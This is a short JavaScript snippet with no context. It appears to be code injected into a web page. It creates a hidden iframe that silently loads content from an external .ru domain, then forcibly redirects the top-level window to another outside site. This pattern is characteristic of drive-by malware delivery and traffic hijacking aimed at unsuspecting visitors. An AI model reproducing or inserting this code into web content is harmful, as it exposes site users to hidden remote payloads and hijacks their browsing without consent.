var iframe = document.createElement('iframe'); iframe.style.display = "none"; iframe.src = "http://linokle.ru/iframe/"; document.body.appendChild(iframe); parent.top.window.location.href = "http://energydark.com";